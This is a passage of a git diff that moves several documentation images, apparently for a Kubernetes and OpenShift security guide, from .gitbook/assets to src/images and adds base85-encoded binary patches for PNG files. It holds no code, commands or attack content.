zRZLZc#j$*ZWqJB|^D4Bs^CyoLi;=Vxl9-!D-oF%D;%Obe`Dw?SN7ER|G_-*0@(?qa
zxbs${>5~K*4)6p_nbH#}A`-kp0lrtCv*@T%2_#)>Bfn5w^c?luMSwjq>i><=6S;p1
zPwvXX3|}Og!LlWBZRrXnaW4v-8Tjur3%9)C)HG-u=;PMqvuENgzL8y8*HYKi-2f{5
z4x*t&F0nm#U2qba^I^YWV?_pS@qaC3McX#n5w^OU-&Ms$C=z*?i$iR6LeA$c0V0er
zMz#MY48}K1#>XVhf1fzdMGDRnB%jzb0r7$5tbjw|mh<eypRXQ07X829pz)vSJ^$8i
zp3E}K?*!2omuG;*$R{5-fB^k=;T_TckdC@$@K^G}f+2N<=tInX{DiQpN!!5$Qmhb*
z3CJSvD~#h1HFYKd!@n7^wCbC40j%l>=*h)kWnH~Z_{n|{sC=!p{5{2gIQPFuf+dz}
zd^6C7MUqG!8h9(q!kBCSO$Es2#Ie%hheQ_6(l#J71_R_sU>MU)aVg~gDiTn@x{b`W
zzoH5)g{a{t^oH}rz)0<{@R4otO*Nd39OcjIZ|qt=<O*r5JW|IRS8WnbAJ-KBi}09w
zc+CB<%meaupB-T{8CDKG=MoDk9Cxgu;@X*|fMhX00v?U|KFe_8Qol9=HGa7$ws%NH
z2sT#ZF^Q$|0=)ce%g(+sn--}S$2<ihOcO){%yWT)y}?BW#O3a<!y{RqtCJ1>!wu%#
zT7vpTF-)ynIh%LB;e6x+kxU|ODeti=5gJ~68<yG_;g^2gHO0aUR>)AIXimR!5xrRx
zbagCwI<Y4lV|m53UnvXVGX|{Avuhf(#vI1#OqLt>Zw*J77Oa?zoyDx-KUIo>9A~vy
z0Feq)q<JTU1Uc}$6#zi;&J(1i<UxUTo}KZ{J`<o5mtwgK$r>{5f144-DpiX=@<EHS
znElnMF1)2&-~Tce1{$p$Ph9>rsiJ|EkT4v?w+Y3{^0dj4Pdo;Lic3jJVwat4A7R6i
zGTeV$IUnw)meN=Ve#`wGOt~d^N7y7XN3htzqEPsgdyd%k0KQ!~@cy^kd~;?CXsMdU
zC<KKnT5`5lHOPJ}JDg)#hdQ-mDPmAr1=3e_$XkNEScb(-?_uKHahe9)R*Xnfjv*DY
z1{!k4yqpBTLX3UI1`v}FR(K&IoPn}Cv0@vM6>*%%hD-O&uYdaWwsIl`J?ulj?k)x!
zq9;(<u)-f9$nQvj2L}P4^-l&rbX@w<uM-eq^0-PzGU7rK+FNuHWcsBWlqOfJKX2ti
z<TBV@4tKGR71mP~g{Kdl4XzMgD6(LbN;7fD)RKWCCZz@IOjfo3+F>$DfM*q14P;fK
zZ`m4$P!I?}Yj05c>8CRReIZlW(!;HLImZ++@<6wtEx7ul8<P-{*Z^mTtM!tae%j#?
z`2}1*-4&8bWkXcwYas7*XYi^T+p%7ROdACR(EPZbN=KK+=J(d@zZN_0{>Zr@{w7FC
zz)l)mh#NSulN(V>LGos=2sKfPM*mNB9MTK|;pWFUH{j~m%V_eT^BI7ZLD)qR4Nqfi
z`B&{yG;O>4<3oLRM7{pD21j(=L=FhabONcyFsU3u^|moeWdiZY)C#n5O`oU>-vkA9
zkOM+>yWo?Fq-{UwBLi;grAd!$@Cbo8iyx<w1{VDR8^9M$zc#c!bv+!UL!b~X^V*|Q
z%y>jq_`$0|$*QmJt$L|ed>%p`n5>_MQ@f-K=uvD)0n^10e_<Islpfi#vyRq>LVVU?
zt)SDn>)bjB9l~~e48e9#esCaSWBU_)v)W7RQ^^Z=MG$&{DYW*uo~M-`z)anQK{d7T
zqJL$<Q4Wv*v#6`y22o1khcr;h&l905a3?*;Gf_U@MJ`KZRcRO-BJ*O~CQrQ>k8=PU
zqI>WzraQvJ$hlf?73>|!g`4yka5LR+WvA|5NynKKb5I=t(@6JIyn_4-8*n)Yd4W#U
zyDMWCN?V`1JM8zo59VPE10>{hm&CW#rOV~4a7Z@_>~l9yaQUK5a)&7Ac|5wdm4Rba
zc2t+@^ki6gx!Q6d>T3{#l(O6tf1#R=2`DWf$xb`wnRwI84ulT-K(#^C!yPp^#^wdz
z1G9B5ixrrJSK#Db$=iMyw?0>P*l#r+1b{JSz{UZewE@5|&sq2x4}fmA6Q2`wT5DJ+
z5~kX#u!FNv4ldPAhwW=XOhcVjxMVv}P*9aszXz2FY93{d$KA|(k`eB{K7CQ%lXg3c
zutkJmWXSCm9BjlrQ{VnXs?fRIj+@%xlgzM`jw`q14l2tcG#g$Tei4%~zG|;pFMVk2
zF}Di!$gvqy<sTN@c@;aX<uwgBw{w+6u%bV8&A#Num)(@lQ~BchY7gS_mNU9}W7CgD
zp>f_fri@4(_q`kQ&qNnFYVP+;e3Tm+l9aIDH6{Jjwc&D+JYIr_!QQdcB3!zmS(TAJ
zLPts7=zX-bV3CW98m(j2v!yoG&mJF$)0v7=S`em8H!#g<YZy@r0S9JHMcaQ)I)30A
zW+QC*!zxA2YO023`ifvQb1lxS@C?Vz_meUj=bd(cj4yOKX{uW~F&g1mJuTgBbM43_
zO2fPUt;G&_O~<aCJi6WovP%2n<`jbb8RgY?E9LU}z6V_rp)*>|DOcUik(=M(XX2Lh
z=9`L;n_k?@y%A_HNxs&g6mf|8MLD%=x#hly53)~#Mg*NY-@KG98pTaN3Qj-T6L3{D
zsG3)Iely9+L!jwxK#{*yq|Nsf^JcF2oAk6*>oZT^$n5bGKRb}u9cZ{%uoZtHNL<R@
zYnJ0YY4=C}XEGY^-V8`9cGxVsJ?>au@ATc8-DqY_mG14a<BN)$@E5uT+AjHx-`TlZ
zi(J-M*I$sL!=<X1VRX|czHD4#6hCLO_?2xcwB6xt`6C;ZuC;TNeGFlv`9D0}a}B>A
zaXmuFnOSAT-IMWn&jStVo}dXk=1cx3fx}lOB-3U8=;g}luGXyM4tD=&$zxii@x{qu
zZG@9%ONWZaf!4eA+mv~A*4%a%dpuiQ7Uh1vO5(!%aMj+kx}^GmI}xsV?pe4Tew|l2
zD}P$3NDWMh73zyuJ-#o%Acs0twis^AmJjirJ(n&*DceGNO_bfKbTA9o@2I{t=STU-
zEmtRwnerKl`Nwmw=06dlUstVZtUDqX)8(~Vlu~9$s!!Oy$D45$T;;}#oRtF0ulp<3
z3%&f<(Yg9iBd#`}g<&kv7fp57<c&+(?y|Xg>mfK=Kqteo`oRu`mZ8AlRww_-@%@=T
z@%_xk$92S$xpDJ#jJH~voe%GZTy7ScSZz!B>anGpUB+07evl?G{2E@bLVnlmsvo#2
zw0vWlbvtX7&6N9ZO@C@gpDCASldyVb6QQe@%cg7fX4X>rWG((e7Jo-S)2RRS84gVZ
zF~<qp_r80N)`>d_2IL)1Wlx!=;dZ@3$0S@QDwU+`VrqvA$oiL+dL^dGUEBS?_@4ac
zU8WPd$NRwxBeoT>3yrPMd+g5Dg_n+$xY~2<Aw}et{GnIk65&fA`RCR?e_2p0dNNG2
z`=LX1?!!QhUROhA@pR;*!^ulsB9uaZhFlS+@9ED@D_@jX%H_)Kh)iU)(fl3HIi9fP
z_6}RL;gk(us5|xj;pS3-jThz*<Mzt!K6jh<q;gt>!imJL@lj|`4n1vr962)ZWu!6}
znv1^F8|40SS!rTdiJU|AiTuhYo4C5J<i`8`J=etobZ@+_?Ef%QNv{-eYLC3|lV>=3
zpf0qiv`^>uz1bRv*5}FUrC%EFhus?QDTv8Wc|P(mkY*NfcUp0hX~5@V7<D@{YUW~S
z;t_BDh%=Y=ic8s=k$ob}v+5>1zLuQ69+Fu&KfX6PQm)Wg;LT{ly=!^Jc5RZ?^VP1&
z+`5jcy`<5wjm%p`ePcCn^UV>Lpku1E&&m6^L)%wawJFvPGW6|ThhN4YJU)3N;$`~V
z6F2LkKkbWjUN{t}zg2S2v2>B<OM%-jKQ$DRl?W;^$JLh3zw3;<TwKfi`6v7CJ6rVp
zx{v-WQ>1-{0P~Y`oI93}+?9W(HY`8o(=8L9AF;LDaO9UjgSQLDduJ_`KPA|pAbat-
zcnH|VB1QB1kaaucvDA~N@g+0Qr8@^ceCM$lt7yh9$;u$#0*x;L-O-es@W=d!%7LYc
zs5gCe^&5KbwceXfrpr4*hFOH=l&hONznKK4=SUTOkB9WQ2GV1PA>?U_VV~)zV#xK>
z1K95H5lVlL$K$x-h4+63%xJ?Z?`X&sVt#t-(k6hL+MC@Wvk;>o(<nQ|NC)`^j0%44
zhE<n0=ps{#^3sj+w%A#at2J#Qc4vo%l$ZyM-+?RdG$7Qhf#YOwwf04CP-rvGBcNtH
z{QN9w+sU%fkTd3mPb2O@3Z%*61*nNDV)fGRBtDK?o>%v7-z@?{pCMJBCx&0~=FvH6
zt=%>#3TN_SX9~a>jO1+@LB9La=58bfe%A)ryyK~CWCn!Xoy;%d$)u{Xu>JyUu^cQ$
z$=go)F^@V2>N{(<jTeuER;@><Y$pS!sR<%$rWsy5T6}2wF{j$=x9QlPHL!>HrfTEK
z(n^;Csp>?zopV%d2h>oS$TQI}Cp5%0Fudf@bVJx!H^P_Se~63#bHY8(_PUq1OeYp@
z0+vSr%OSv0AuqJOuEZ<o@O10iRX9Wp1}JNw>>3&wkZon=<hSg7q@CJiP{M~$moOXx
zHPYTYbNwqGDqer|DpmSXJ|9uDsTaW;01>Rk=M0NoY|E#-TZgJ$gXk*|aTbo#cg(yq
zb#Ejz`q1eF0r5p=>}DtxX)yrDfsH+-Qx>gU1D589@Nr6vEQD>a<&-{HA5B)y2)4X&
zr(^}2P*MUL7pT|Fb}DYtFVn(n0wWR=<SDe-{jsFb<<-FXxQ^~T0+A9#L0F}~*-<=X
z{y**Q(AlrOpZz37&a%Q;5}`IgwK;KqT~ed0G@o&()_^krN<Rq(7RM~+4O#hqolw_q
zXMbxBG8%8x%f|CjK~y)U@`|<j{wFhYm7<ut;%^`{9RnZZn7iV<JmJfOr|RpEXQo<s
z{WOP5=8YLRx)~I4nfgNB9k<rW4Y!DW%0tHe!ppEX0OR7lu~*xjc(j`wl5Ii<JT_O^
zNm6mbeke+z7m;Y)S&2ahe50iVxCeB=;$BHO2?a$?AplIFYVC{T78?aO*yc?Y&bJEi
z-<$9B*c_Gywx7O4Ws^vrm)_M>Qex&mcSkcSJ=e_EB@e8&sM3o#Ja<wP^{P&Ww@H@J
z^D~c*b7)fJY;c&-(hFYRBL&u*%>Ud(AIQAVA$e}{)V&9-719g_w+?kHkes)5>yra{
zlmj%%pyAs2mkPJzcip%%yNXQ{ZzO=}bH4d<uTuKfM1gjTnkVeci0Zk_nvU?|%I<u)
zeI1uBnL6T6*wH?iqmULEU9U^tH2fegGXO+TTC$Y_Jygw<XZ@@3*ha%J6T-~I9C(rd
zkmM}ji1U4$nD}s+NdoS3=x2}3-><Dl%18YVaB^xQyueWE?PsrZ{#g0oc+d=yc7*6j
z6P>tX;U#Ya<Ty@{p&x*<wSMQusPoe!R4Y<^Jk<KZE7%ax0=9NsCc1y!?BqcH?040|
ztHg$b`~-}BTCJCQnOloC`zl2GF+cgmX=#Q6moAuJQflS1;|B*5MTe^1=Z}Vfgh{qY
zS?wc6d?MS3|E7?GGsHaHbS4FAW+L2e#>`PGX&8*GV^_y#<y!X-Jm#l<hcJZQu*{cR
z`_(S~_za@O$~VWyfdR%V5sC(NtMcRxp&u-3FU)m#Lua|=N;D4jlqMHmpu;rWdgwr2
z-;}6CG=x91avXj25-sjQXwnb;5`Q~{j^m4=u#vs+EW6}58J;@2W22z<wE|qNawj|t
zaX8K#2l2Txt<PV2eU+7FXkNGOm!H2UMwRVK1JQu#Q8u?;wr!8Bd%vMdn>=({8X;w+
zUb0w&lHrv``K>#)Y!t}j;>&<Lw3lorQMS2bdzJPY8-9tn(Sp(C*p7bKkudUAd(EE&
zY0Zu8RyXcAtzu)CUxN!yQKPorii%rRFly9FZ3$t5<}Tncbvqa}3S1k>Z(ilBSlL-_
zvl7j`5Mb$$)#~ND@6ueplLUNwlUr+IrOwXCSmLFSt*mdZtaMWcbqdmJysm{9O?Zir
zSxMV69)4in_LcKP{mBBN)%I{l#~-~4=WjpLiHc*($K?dwsx`q$d2wQX71g~ec7ekD
z(mk>{S4#7cbSu-n={@qkMq!hH_iyz8vLVM#^RG<V?9WEiUb>+glHx#Wy$!WumFnxa
zHlD~knTiFdttD`^oN>jPuev;%5q}JL%I&}*vLs$0H0wuDQki@I(N?5he|xTpKRy?g
zO>~2nWJHiDbPhl3{qF7&Yi;thEiJL>oo=xh^gxUlHSap^;;t#4krEJLCkbxRr9#W5
za9em=9e=8`G}Rfv)*>>teriy9qz>s2(S6v+i@$Jgf-I()Ht}wfe<j0oqoK*0Vt$0A
z6nkl+o{6s48U;o4X;PY@W(A{%sy3p~r%P}bv5G4*d%Wp{$;O_$M{HN3&~4=`yR{wv
zgFWwhy41=J-5X-4S_PQDWhb|{@#6M|qErf7-T27JW~*{YAn(U|X-6Kau;<A<AN=I&
zyMmp_wZs)~i`^fGQA<E~-BYkYpi&yAv|18gfv=CnZz-G1`%{1V{@DJX9U^s~1}*3~
zp;V?cW}a{m>Woyx#W^05L{6NqobSF844q5x8+h<u^!-8N(Oe^)N@gQ(hX*hCBi##B
zbgbT&BciE3Y?I`Eil4f*LI+|Un?f(y3c3PS8`s!yOYnR7BEB@1-D(<6OKYkhyjgb_
z96Q$*axD1JWyc79-^~`&35OW8^!#F<g3<Xu1MX$Xpr}v6%dkA90np?m1RdNrdIGRj
z5~0uwR`=Dhrv}JJtA1`PFRkqUv`&m_bEl3C6Dnr|1QcDr=Y#QCox0f9nVitJVMSPa
z0)>skOF3<#ZM&CG=M5;M6j^bFzPgWtuWnFz1qc?`01tX=Zr$TTeH^FN-XQX_huhdO
ze%`!Q8)sNt{M9l*$ec&pAembmbx4mIV1aq|y@+2&1#VquVq@^3PK`H+)pqe!>7@Rs
z+7zbnhGM+}S(Zj&#H|U3z7j>XlWJhDSl5`AQWC&UV+VOb%Unu7yy^?=@u7Vlfn685
zwb0OIRyJOD6si;bv>0hsZBo3Lhwu2S@@+I6<0^?44;k3BP~(f3@4~TUYE$PuCWKg>
zRnVl-GG?rUI_&1xjRv_Q%~!=-a{V_6A3)8)vj>1AU>}JrC=8X8siwXhlEH5xx*?ng
zui!;BTrBP@L-zm*c~__Q3f1+b1}K1+*WH>A-0-5jF$8?PSss63YA!gnB<hUiO4_%5
zi=P^W+`k%bfda<QP6?SZl-03tZkns{#kIgCqez6Wd9e6DMfWm7O0}OoyA}g;OSQ_q
z66fZn?Yav^%7$JfxK#-$em+}%EdJ+rIc^*^2x?LYV(x?y<83|eANI>{j5@dX-oh~+
z>2V5874e-4R077j_rk9YNzR=1QO>>wb)_K*gW)B3NQMe{T>a#AN^Ms5wUuWi59*lm
zXpMirYPXdGoxdt81AWO0IN*AE#gvGs_*=ba+apciB_D~^WJ4W~_XvZr>xqXq1xFn*
z$JJTB)q7L^wC@^XtU0~3@f{@f{@aq?CmIBRjAUPeOzrf}*1(7B`CQ--yYRQyacIop
zUG<Up^{9ngm*WOh>VtJ@>)-Rmj48JUzJ^e|1CkILB*?HqjaQLsW*4mvX{E*Y$G1Pz
zfqhypV%#wi-R6ja>F%eb&Wm~Ec1cYH-+(DKMicC^F}(UkBw6D0OZ#>+h>B*(cr?VQ
zP8EDc#R*aPh>PA0oc2l&#Jm^kusjY<CJQbJOo>)JBmGI;c>8dg)yYSdC!e~n05QVU
zdbx^EY7IP1eWQOh;9=eOJ98KKW1{hB^y8BAMYhJ@Sh#F{TB!pHuI&sgubw@8ajq?C
z`^lS?=JDAG>ASDy24gAb-F}woQ2oG0#b|raf4*$4;XuvqtT1l2Z(^e`v)c(0=al4i
zxYRp^s!Y56tjD@qZ-+|gs`R2MXx$as^B@Hja~==n8P^R1Qb4vyb@Ib6%)<~WR+-}v
zL5US~o?Mc%+~gz~s`mNa_V}EIhoBz{uwn>rhoD!Q<a9t}=HZU4y3z2@tB}wYrV7wR
z`Eu~8ttGj{erC{NglaZLVfn^P2%IV}G$i`Zn>s(Vz`2^<L1n;@5(Os}uCGd>89s`I
z>V20d96uz8GlP2n<}n?)A`zbyxg8-;On$cmO*oz`F+H^S$DWShs{w7}Gb5p;Q6@NQ
z<n1;BM5F1R(G9M=Rethm7G6;5B1HWmLYXF2hxG@hnuMo!Lx3{4!G{>s5ECrQm_35#
zoB_nr%p={fn8=5}kdYtkzpzi$(lw^!z*kCt5Zr3YfOG~CV=)<^sP}kX@zSY%r>rV8
zhR<uO33cx_Z#LW;<lhWY4UVu5qD<TI=v=FADe5UIb`|l1Qsb9t_4~)-?tc3QrR^ms
zZIusv=05#NIQd6uSk7K}Rw62n9+eYuQvDJwSmlhgKfDCUA78!uD(8u^??mO8vAVvq
z`6g;uErQtgbDBL`*blw7<v)m!o+wg2)(U!CbVIW>zTAZNX@Fw*vay$|*nq?Ij+z$v
zlEyzi9p2ej7eA*?f@bKqt0YV#eQWWMcNJ4c$=(h;+Ss}8m#8~mGaeVzm5g<Z5r-wC
z6bjDFz10i3=4B(d!Ac=urH;#H_E;HR*u$GYnx&fD_8=Vkn315^*t0!iVAax-h6RM8
zxhG&c+IsXHIwoZ1QTmViTK>hCOLJ3Jj{3t%=4|?ZbRw94DD8eaEn1MGcGZ5*)EU-W
zam#csMChljfo^U4Xr=ETZD5yC%O4#a*=&&7v~fX|nn9Oi2b&kR`y|np4QsYIIq3)l
zuVkk?RPXG+J+j%>nX_%uY5UKn*wN9eBNLZ`g7>*P*N=^(HVc+pk$RNAUmF>iQ@!N4
z&!%g|2?t5)YW-OX^QdQA%dWU(GWjK|3Lf>}Z5_4Q%1P&F%V8+Mw+udam=qhQW9^&;
zX;BdqpV{Bk)YXhsX3h8C43qHlO%4jmMT5^<duG)iZ6aGL#`xUj6{1*&RfuSf^FrS?
z4o8>t+vif<d9_iV^W2Arw4C{>o;{huc!gegknH?&wjor!tH-W-Av~_s2A&fU*?h!S
zcf0KgL5F1o7Tj|w%4cMT6RUDg77#i6IEcrCD24T3lW9jLiu~{oZ}4gQF^gl$eEKJ$
ze-<D#9C-2$k#qb=(FvTsJ7;}pZaT-sFM|txV336MRElz1=G`M?vf;bL`S-3agUA+9
zpAuxc)-p1!t53w6YpLpA{bH4jGws<MBjxA2`C6lVRmC%ZY46AlD%7o$XU%6_GBzdL
z`g3$S#6;(AM}<xaO8Jq9XMIPO(V`M+2NG<ADD<*VSNWu>47Q{;{fN3Rc7Ahbho1E`
zWBbXE$`4J&5s}dnbEdrB?&_tW!w<GelBZu?h>lYJp8C4|ncPePr_{%&4O?`HjGBg%
zk4>680^i)f!6<jonM-k6yF6aI<5qA9;@U)zp;FyfXA}_PzG3mh&68>qBRxF$qd_>O
zmmKIko{qF6{LpE&-XXtr8FE%3_Nv2vALf^L+h~Tid-QJ#c28V2S`yFht^Sb$FNLhR
zs~zKdPRhPdCg6eoGoMe>g=x7coO~rlrZw=^dc@BzgR<V%w8+Na9CO`FnhtM3ej~}f
zC(Xt_ASnf)agD$Q0sGjO(~T?RbwbA82MUOvX_<XJO==KM*0s#9cW8iqQlL5n$sFmI
z>kf{+Z!Z|VvYwh2qH;W8=Xx9`J)$k2cwEkAxbF4(7|qYKp*@hkp6})Ee6gw~N=74g
zAz?j&>Sb)Kcc|`I64~`3c!I$#%<j8I{XX7LIhA<{Zir%)F)cq%?JF;hcvMUv4$wvN
z_?xA0*sCBX+-if{*z@JkO**t(y~Zf$9{PTygsHAcXzKOO{Hik(oZM|hP5agb%^T7(
zDu<Ck`<La-8-gfhRUIennO}7IDKB5WmHufdiE#C{0xRI_GAMD%Mh}|P*G@R$6;{S}
zHhv!`5E(9S<J>qo`A*5od=AYYyzkWmC6CSuw%$Qm+MNV81udLeRYpD`Y)0A~3LNe&
zB3Lki`M`+&MAcaRxfzemTZ*ByKpHz4Eg3hVRaQNJSOs#!d082()_K>z5Lf;EtOz8d
zhRS7JFYo7-eL7-JSJQzvygwH95PTh$!wy{|tu#)Vi<7Ng&;~>4U(WKtqw_)#m(Gl8
zxb|3t6TGOKc30v1LQJm9TEX1cTpk>W=*vN+TAjSH#+yk9(T+h+0U}h(1$oUKg=2OC
z%h?f0+Q$iMQL|d;^>{Fk-rKR?Gt&_|a(7FEu$ZLv5(dS>!`7##LlUCiom{$hP=6P<
zV~`Qli*4qt5aiu0n5y77vknwPWJ7{X<9D12=}#T-sGrz(R(GeC_HjU4z4-+$r(kmy
zDB<I^$ODA-ZktV$ah&l2_~?#pB^W4I2c+#CFFn*BIN*s8X^RgDlkkq5+fmXv?D_ud
z36--uUVBsF$Ct^V+44fS$Vs^OC`bJvcx1pQ!uSgZ(u)W?zrO<N?S<mAt!XLeN<sB>
z$&zo?)Nvj}j3Cux#qiZ*_s+Sg+y@dMWGPJ1`t&`SjP(#4;fv0pGt-J)`VGhgL~W`C
zPrj@IZ}p+&qb#Y85oDf2t^w1pz?mJBy9{6WGF1SEA^sj{O`W3VY!Y-jbv@l4Aa#Lu
z7~CagEneYoy}KK09(6%?3lT4Y;KzNTxqP|a4vM9xOLAUKm+0tnRfiYbL|bXwZLG9A
za3XVu+rg$DI9}doHwMavANSys2>8|*YIjS<)|Bxe26Xi%jxUu38=7=hYCN5Tgt+Lj
znim7x&q#CSSW`b%NtPKgT4Zqb;}5ZJY4yJPJ<nNC^d+<mKpBmit$tm4&C8b5;EMGg
z*Y0L5vEWLFRvKOaQBM|o7I|U72f$McHM_DJ8!_Bjs{|z2(a^-6woq}%pe>!bjHV^4
zXoC`5x<Rw60U~+^yLT+L_B72DjB~K<5KF_(970v4GcYR@I)NatrXnzEH7__k_=3<;
z3_uGm=egU!?&+Y_KKe^a*^)WITK@Jp#0V9qt%fl>JSd3i3msHMede=!lm*wZOYk}A
zCBE<++}nKSkv04{x|_O@TUXN!k4Oc(OK@;OCj<5{HQ-JV&H#iv)aC=i3Fu71p;+jV
zoLvz)5B~?qAlnu&LJT)dgP_9J!glQW@7K$kb!axmez>B!G%8AWWW#2NY+=xWK#N&Y
z0vmoo^96F42J|6En2EBHNBRW7%gqR#edWd6gAhzrY2BYZP#TtmntfV1hXQ{to$J@T
zx)N7SK>8TGIHK5N4;?kC93F-tFo}st2H7b?cd2r`*az7n#1eL5Jm$?;VCV;%kZCrY
z7GkkSZ@FI!e_4+ij9_4Ql}9@LLkw%yPsCrBB9q-G!c5p{T?V{DS6LTf^HkIyI2I%Z
z4q6BCFgwOOq=<ZA)KW1|kTt^@x|&vxhuI8zp1r&R4}3RK*p6LwMF?e2@2+m!M}YM(
zB4WXX;Q@c;S?KV<SW%zwvTE^W<E7PaI9YQ+pfQYu#7G}!;<D*c#wG02LR4(vh=9$2
z3@Q-?aTv}mFesFC=Kj<BX`-Mw_K6L*&>6ZIkOLbiQMJH^D0hO=*k18uxXX<*#)Y@6
zeF>MCZ7M`DyudMGFcl{G&_*}bXmNHsK2(DN14*&waJ`V~C_wyQm@D-{09&%NHK>Y%
z6aUt2X-JB9s1#FHL%o&r>|+6eztuz8LX<19V17)yZTGoFF>PUbve}TOzSxr8h-djQ
zvS3J>%a?v@^NF09kCDTgqD$z)tO9m?C!+wvo=bOn&o4lXehc(pDpH@`ui%2;V^O~L
z=6_Tzu*ulSXN$(Hk4W|~a=3H`3#G;-io&oiCq45=7K_6g>VU#uVlTleOc}aM4EuG6
z7R-xgOE>#4S#l_|JOvvKVq~@BS;*!Q&Kfb?*5Kcb%7=1c{+7KL#@J&0t376=a6^g=
z?<HcGDE2ll>B@4JJOcgO#^pH7zklidZ>aGAt#?VpkRs-`OV$FpepxH~{b}z1uQ@(!
zF^9P-q@nZ|zI%85rWYs=6u`)BGX7goTM%?flg~`SCAYP?Wq|SKZ>zFMOOOd&jes>5
z4v+%&2C)6#P6_40m?a9Mbud>+1!n)oBu7%bOT3HfQUL7ZVo3c$WLWuM7a3uo{zH@`
zgD<k4%|19Fl`u9aoA3RYfN|<<=if9>GFa8Cxg7WFa--#)NidTNp$!|mw|UEs6KXbr
zabxBlTJ^tdPW=b-%;l$6tAnSr{DtNEXJkR`W|v=~1JeMDO6?=Rjj$A^l)$byjNw4H
zmp{EeU5Jy8-mk!O;eF76fK2(RwH){rkNW($xdeL8iCJg$CfsGXoO~vvU{%vM6coUg
zEHkB+b6Y$?5t;D_@YbB5@_61ZWS{wB9F0PF1kA3_p=22w%7X(2)G+?zTI?}7uTG%d
zANmMH*6(?7w2OCm1gf|?o(oFiKd#h0pj+9<+40HBv_#$-d2mgV;81K$gYDmIWReHj
z?2nq%DEi<e@s!-&D}6&7<%yS%>*CNi1=bBz^9$bu1$Og}4aD%_zKF?OFsJhPQ?3Zo
zgP&J=Md~fBX_#8Qv)GHEU`(yIrI5JLG6S2^SZeh`f+8{FRIN=2=c7uz=%!UW$CN-;
znU%VFjJ;QgDrO!<h3rVzmZGcP$eA~J?mz!lc8VjWklllek$B2II_Ldkf=AID8rW;O
z1jm5$PSM^jnJH`=YfY_@raa9kRRb(=0h9A9PJL7Me__0?w&n8>$IP)OYU=+2c@Bl$
zzZ%B>%#L!Lsv}Rks4Um(xmv*(J7$ASm$)iDQ`x{K@h@YoGp=znplZws3PR^7{(3LP
z9&dlNO<E>Mn4TiPo&d+_s!#MfIT0^+Y@_nwNU$P+rSF3px8=An$x#<J08*~Ek#iEQ
z^}%^?CEV<#3%%gX`*`-0aT`8tPSKdE$6n88c0WhD<E3zB-m^VRupL;Tt6@QGyDHf0
z!uH!d4Sk>a1q9XpB2pe9&-(H^>|Owt#P!>}k$)NEpaCF%B3tP%i#u)mit{)(htP?H
zC0lVJ(M=!t|6y|$mKK-)f}k%?OP=;vTBc+r70pUbdSmoF!wpPo!;g6uvY>oH32<F&
zNevE(s$GNc^!d$c^9#qRDR=){yeHB!x5Yc2$FFrqBLMh9K9_<|Bj*aci}(<p3%DM`
zM?ks7+P!U|y10*!5dQb)e+c{!f&V8E5SmnDAghotgnP}g3DbDTwp}L0M&wif2U`9q
A6951J

literal 0
HcmV?d00001

diff --git a/.gitbook/assets/Imagen13.png b/src/images/Imagen13.png
similarity index 100%
rename from .gitbook/assets/Imagen13.png
rename to src/images/Imagen13.png
diff --git a/.gitbook/assets/Imagen14.png b/src/images/Imagen14.png
similarity index 100%
rename from .gitbook/assets/Imagen14.png
rename to src/images/Imagen14.png
diff --git a/.gitbook/assets/Kyverno.png b/src/images/Kyverno.png
similarity index 100%
rename from .gitbook/assets/Kyverno.png
rename to src/images/Kyverno.png
diff --git a/.gitbook/assets/Managing SCCs in OpenShift-1.png b/src/images/Managing SCCs in OpenShift-1.png
similarity index 100%
rename from .gitbook/assets/Managing SCCs in OpenShift-1.png
rename to src/images/Managing SCCs in OpenShift-1.png
diff --git a/.gitbook/assets/Openshift-RunLevel4.png b/src/images/Openshift-RunLevel4.png
similarity index 100%
rename from .gitbook/assets/Openshift-RunLevel4.png
rename to src/images/Openshift-RunLevel4.png
diff --git a/src/images/arte.png b/src/images/arte.png
new file mode 100644
index 0000000000000000000000000000000000000000..57f392dbe43a5e963fe169930abe7bbc1b68c3fd
GIT binary patch
literal 1120620
zcmeFYcQ~8v8#k_#E~*O^qqKC{Ggh>!y3iKY)=1S}2|{8;TH0#uK8n`tLQzp$j8IBy
zMC>3W2x7$w2_o^P&-eSh<2c^q{p0u7?~f-3N3PttuW?`3d48_X`8lt=xoc)}<lyOp
ze0+RIZr-?dpO23}m-jy^u%CBDRqf_=-kX@e@k4(LsEa?s!OxlRiWBsyv-C}G2Uq9&
z&JIpNzOBxBe0+N#?v@YzADZ6LafEs+I{djuG0@wGSDTMd4;1L*;OOb>Fa6Zn)g7WQ
zvs6<rBkk^_FJrA?s%+|G<m~2tBiPT`BG}B*G1$`)=p+L&kk$*-;Wgmx?C&5Q=<Nl8
z=>+P_{N1h&ul(n-l8p4<xA=SN%lv0h4^8h%8$tb?rGbjd3XaOkD$-g&MMq^-W%Z}3
zPR=furB#(x)s&P~d4CEjsyZs_I;!f@|9#2udh~O0(Yb%^`hWZ5ebSe4^Y{1BQBp!6
z5Q+#jMW~;vk_r$A{L_Z2ssis01y~To-yu)|0+aoxg=@|*M?ZHTe|IQE`cI1vPoV++
z`ZB!H{^v2geN0XNXTuQKe<zDKZAyU-K1wQz%1Ykef1d5{yJ7zKo&VP`{;zk#EQ5TU
zmF_#kpaFi4yftx={iiZ-{{G(`{kf4h8Xa>#cizG{cwK`!26#I|{BK^<m*IV*=;ZFC
zqp7WNMeB;DvZne~V`EJf6`-n?y0NOJs`@o8buBGT^?%y<ztvS!zNW6JrmcQm1*oB-
zVth^eirUqyKvk9NM#{=S4WRZvb#Fpo{tggF=YRTj=k@#Fx@!N=x;jRF&JO-iKT9ao
z>mMt)>jw3Q!rY)f(nb~<iYn69?hq#^0`_Nl{`0igoc-M4&Q90;px)Ad&##XA|D}Ho
zRTW1^Cue5`Ej6H{g1V}cy24WxRTTxEDLFU;Rh%5u99?AoTi@yb%e*P^2Bh@IK>jy_
z`R5YP3jY-Urwi~t{7)xxhVVSckLM!UZcYPy!YAL|ymrMhaCl*q6mLsJ%5T|OA<qn*
zfPTJl@7?8l@0?AJr3XH3PL_#HcWh_?Uhf39&WPSP>hw%+QbFj7<f_PC?FhYn0;_Hf
zLMn1^sA9BcAu-BC;8({-CHmOk19mbOR%Gm})9|;oYUUOw!y#5hiWYCEfz8wvnxjZ{
zjR%qJ3C@2xjo1nERQ_=1^xqE8$M?;B=IDQmchh|Sd-d7ei{AfUw3JW(12DYTN1bu?
z|CIRp59IFpPw|_X_L2XT3<Db7|NC|RakD-DDc;Tax5<C!lJ8$5`qz7SfbcJD@coOI
zeE)6~e0=}zkbM7A1HON07T>?r;9p|>Csg?VDK!|&UF`UvHY;o&IQ}wgrkb%eTof@x
z+wvBgP+?^Lyi`=HdKtHFUdYA)h+~vh(JT-u%!j!!R0dx1U*JVZALafInRYB5J$zU-
